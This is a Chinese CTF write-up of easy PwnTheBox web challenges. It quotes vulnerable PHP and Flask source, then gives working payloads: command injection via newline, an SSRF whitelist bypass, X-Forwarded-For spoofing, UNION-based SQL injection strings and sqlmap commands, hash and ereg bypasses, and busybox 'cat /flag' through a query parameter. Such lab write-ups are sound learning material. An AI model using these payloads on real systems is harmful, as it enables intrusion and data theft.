PwnTheBox(web篇)简单题
文章结构生成
str = '''
exec1
hackergame2019-签到题
网页读取器
管理员本地访问
下载下载
快速计算
...
'''
for i in str.strip().split("\n"):
print("### "+i)
print("#### 题目")
print("```php"+"\n\n"+"```")
print()
print("#### 题解")
print("```"+"\n\n"+"```")
print()
第一页
exec1
题目
<?php
$target = $_REQUEST[ 'ip' ];
$target=trim($target);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
echo "<pre>{$cmd}</pre>";
?>
题解
很多东西都被ban了,%0a绕就行
hackergame2019-签到题
题目
题解
右键查看源代码,删除button的disable属性,然后随便输入一个token即可得到flag
网页读取器
题目
from flask import Flask, render_template, request, send_from_directory
import requests
app = Flask(__name__)
whitelist_hostname = ["example.com",
"www.example.com"]
whitelist_scheme = ["http://"]
def check_hostname(url):
for i in whitelist_scheme:
if url.startswith(i):
url = url[len(i):]
url = url[url.find("@") + 1:]
if not url.find("/") == -1:
url = url[:url.find("/")]
if not url.find(":") == -1:
url = url[:url.find(":")]
if url not in whitelist_hostname:
return (False, "hostname {} not in whitelist".format(url))
return (True, "ok")
return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))
@app.route("/")
def index():
return render_template("index.html")
@app.route("/request")
def req_route():
url = request.args.get('url')
status, msg = check_hostname(url)
if status is False:
return msg
try:
r = requests.get(url, timeout=2)
if not r.status_code == 200:
return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
return r.text
except requests.Timeout:
return "We tried our best, but it just timeout."
except requests.RequestException:
return "While accessing your url, an exception occurred. There may be a problem with your url."
@app.route("/source")
def get_source():
return send_from_directory("/static/", "app.py", as_attachment=True)
if __name__ == '__main__':
app.run("0.0.0.0", 8080, debug=False)
题解
根据截取规则,已知我们要访问的flag位置为http://127.0.0.1/flag,利用URL中“#”的截断作用,构造payload如下:
http://127.0.0.1/flag#@example.com
管理员本地访问
题目
题解
X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
X-Forwarded-For: 127.0.0.1
下载下载
题目
直接点击把flag.txt下载下来了,但是打开后提示flag不在这,然后我们查看页面源代码,发现是通过get传参的方式指定文件名进行下载的
<?php
header('Content-Type: text/html; charset=utf-8');
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="Pwnthebox";
$flag="g9yk1pqdmqHa3qTJlqTFZbmShKmjaMHKzpJprg==";
?>
题解
我们直接 ?file=flag.php得到flag文件,打开后发现定义了两个函数 encrypt和 decrypt
很明显第一个是加密,第二个是解密,我们直接在最后一行加上如下代码运行后即可得到flag
echo decrypt($flag,$key);
快速计算
题目
题解
一般情况下手是看不过机的,所以这种题一般脚本
import requests
from lxml import etree
url = "https://1360-b5446787-41a6-48f1-a0e5-82beaeb63eaa.do-not-trust.hacking.run/"
s = requests.Session()
r = s.get(url)
data = r.content.decode()
html = etree.HTML(data)
str = html.xpath("//p/text()")[1]
payload = {'result': eval(str), 'submit': '提交'}
r = s.post(url, data=payload)
print(r.text)
该网站已经被黑
题目
题解
先用dirsearch进行目录扫描,扫出/shell.php是登录界面 然后burp爆破密码为hack,登录得到flag
PwnTheBox
题目
题解
百度网盘分享链接
题目
题解
Get
题目
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解
https:
Post
题目
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解
睿智题目
题目
题解
查看源码分析发现每次产生一个随机图片,可用bp爆破分析
过滤下PTB可找到
一道很奇怪的题目
题目
题解
直接ctrl+u 看源码
奇葩的题目
题目
题解
很明显是url编码,我们把所有的字符串按顺序组合起来
p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'
p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'
print(p1+"%35%34%61%61%32"+p2)
经过url解码后得到
验证码
题目
题解
发现有maxlength元素,更改元素限制尝试输入结果
XSS
题目
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '
' . $_GET[ 'name' ] . '
'; }
题解
https://1360-c9fc2d6d-8d4e-461d-8e19-cbd85a1205db.do-not-trust.hacking.run/?name=1
达拉崩吧大冒险
题目
题解
料理大市场出,买鸡的地方存在整数溢出。 当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag。
atchap
题目
题解
atchap邮件服务漏洞
a@a.a@Samira.Bien@almosttchap.fr
php是世界上最好的语言
题目
<?php
show_source(__FILE__);
@include_once 'flag.php';
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
?>
题解
https://1360-54d93af6-edd9-47b1-a581-e0eee4f83548.do-not-trust.hacking.run/?a[]=1&b[]=1&key={%22key%22:0}
exec2
题目
<?php
$ip = isset($_POST['ip'])?$_POST['ip']:die();
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
die("ip 格式错误!");
}
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){
die("ip 长度错误!");
}
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' .$ip );
}else {
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}
echo "<pre>{$cmd}</pre>";
题解
可直接访问
https://1360-abf7e306-27d8-4bb8-b130-ca1f03d1cf88.do-not-trust.hacking.run/pwnthebox.txt
* 通配符
第二页
Twice SQL Injection
题目
题解
二次注入
注册时输入注入语句,登录后即可发现结果
'union select 12345 #
//判断数据库
'union select database()
'union select table_name from information_schema.tables where table_schema='ctftraining'#
//爆出列名
'union select group_concat(column_name) from information_schema.columns where table_name='flag'
'union select flag from flag
猫咪银行
题目
题解
整型溢出:调整买入时间,时间数调至9123372036854775888,得到时间为负数,而收益为正数。
黑曜石浏览器
题目
请使用最新版黑曜石浏览器(HEICORE)打开
题解
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36
信息安全 2077
题目
2077 年很快到来了。此时正值祖国 128 周年华诞,中国科学技术大学也因其王牌专业信息安全,走出国门,成为了世界一流大学。作为向信息安全专业输送人才的重要渠道,第 64 届信息安全大赛也正在如火如荼地开展着。
千里之行,始于足下。作为一名渴望进入信息安全专业的学生,你的第一个任务是拿到第 64 届信息安全大赛的签到题的 flag。我们已经为你找到了签到题的入口[1],你只需要把 flag.txt 的内容读出来就可以了。
注:为了照顾到使用黑曜石浏览器的用户,第 64 届信息安全大赛的签到题决定沿袭之前 63 届信息安全大赛的惯例,仍然基于 HTTP 1.x。当然了,使用其他浏览器也是可以顺利完成任务的。
<script src="/jquery.min.js"></script>
<script>
myclick = () => {
$.ajax({
type: "POST",
url: '/flag.txt',
success: (d, textStatus, xhr) => {
$("#flag").text(e)
},
error: e =>{
$("#flag").text(` ${e.status} - ${e.statusText}`)
}
});
}
</script>
题解
在返回头中会看到Last-Modified这个东西 要满足来自2077这个条件 故将请求头加入
If-Unmodified-Since: Mon, 22 Oct 2077 00:00:00 GMT
flag在这里
题目
题解
burpsuite 重发 ,base64
对方不想和你说话,并向你扔了一段代码
题目
题解
php中extract()函数存在变量覆盖漏洞,所以讲url后面加上 /?a=&b=,
a
和
a和
a和b变量内容为空字符串造成两个的值相等,或者直接就 /?a=
https://1360-89240aa5-af3d-416c-91d1-dee880d6c6bd.do-not-trust.hacking.run/?a=
猜密码
题目
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
题解
这个第一次打开环境时什么都不输入.直接点猜密码就是flag
或者cookie 置0 pwd 为空
你给我一个满意的数字,我就给你flag!
题目
<?php
header ( 'Content-Type: text/html; charset=utf-8' );
error_reporting ( 0 );
$flag = "*******************";
if (isset ( $_POST ['num'] )) {
if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
echo '璇村ソ鐨勬暟瀛楀憿锛�';
else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE)
die ( 'Flag: ' . $flag );
else
echo '浣犵殑鏁板瓧涓嶅お绗﹀悎鎴戠殑蹇冩剰鍝︼紒';
}
?>
题解
%00 截断
ereg
题目
<?php
$flag = "flag{flag}";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
题解
https://1360-5a0af361-24fa-434a-be20-e4679f83f154.do-not-trust.hacking.run/?password=1e8%00*-*
成绩单
题目
题解
sqlmap -u https:
sqlmap -u https:
sqlmap -u https:
sqlmap -u https:
1' and 1=1 #
-1' union select 1,2,3,4
-1' union select 1,2,3,database() #
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema=database() #
-1' union select 1,2,3,skctf_flag from fl4g
login 1
题目
题解
提示要用admin访问,注册覆盖admin账号即可
变量
题目
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
题解
https://1360-939a7b7c-d68b-4194-8979-21f1f8396470.do-not-trust.hacking.run/?args=GLOBALS
Jsfuck
题目
题解
将div盒子里面的字符拼接起来,在控制台进行解密。
from lxml import etree
import requests
url = "https://1360-771b8dbf-30e8-47f6-9d5a-72865aca8b82.do-not-trust.hacking.run/"
r = requests.get(url)
data = r.content.decode()
html = etree.HTML(data)
print(*[i for i in html.xpath("/html/body/div/text()")])
得出一段加密的字符串,注释提示KEY是PTB
U2FsdGVkX1 是AES或DES 开头
U2FsdGVkX1899E6MQwC1kQYmnBL4RjhRIjwvuYJzszAmWhWcU8B9nHVMiM9YW7Ww
这里是AES解密,得出flag
矛盾
题目
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
题解
https://1360-4349a38f-3f69-477f-96bb-745d762e45fe.do-not-trust.hacking.run/?num=1e
代码审计
题目
可以发现有index.php.bak备份文件,下载下来得到
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
题解
https://1360-1a5e39cb-0291-41cd-b24f-94a62ba43c7a.do-not-trust.hacking.run/?kekeyy1[]=1&kkeyey2[]=2
管理员系统
题目
题解
源码,发现最后一行有base64加密过的字符串,解出为test123。 输入用户名:admin,密码:test123,登录。
提示IP禁止访问,请联系本地管理员登陆,IP已被记录.,利用bp抓包 伪造本地登录:
X-Forwarded-For:127.0.0.1
ezdotso
题目
<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
switch($action){
case "php_info":
echo call_user_func_array("php_info",$param);
break;
case "cmd":
if(isset($cmd)){
if(is_string($cmd)){
if (strlen($cmd)>9){
die();
}
$pat1 = "/[^0-9a-zA-Z \/\*]/";
if (preg_match($pat1, $cmd)>0){
die();
}
$pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
if (preg_match($pat2, $cmd)==0){
die();
}
system("busybox " . $cmd);
}
}
break;
default:
echo call_user_func_array("hello",$param);
break;
}
}else{
show_source(__FILE__);
}
题解
https://1360-84c94879-e244-4ded-9b4a-bcc8b03953c1.do-not-trust.hacking.run/?action=cmd&cmd=ls /
https://1360-84c94879-e244-4ded-9b4a-bcc8b03953c1.do-not-trust.hacking.run/?action=cmd&cmd=cat /flag
赛博厨房 - 1
题目
题解
向右 2 步
拿起 1 个物品
向左 2 步
向下 1 步
放下 1 个物品
向上 1 步
向右 1 步
拿起 1 个物品
向左 1 步
向下 1 步
放下 1 个物品
向上 1 步
赛博厨房 - 2
题目
不会…
Wall Breaker
题目
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/4989c4e036e21dbd4bce773b2902007a
Hint: eval($_POST["backdoor"]);
题解
先连接
发现没有执行命令的权限,这时,我们可以去蚁剑下载一个过disable_function的插件
佛系更新中…
|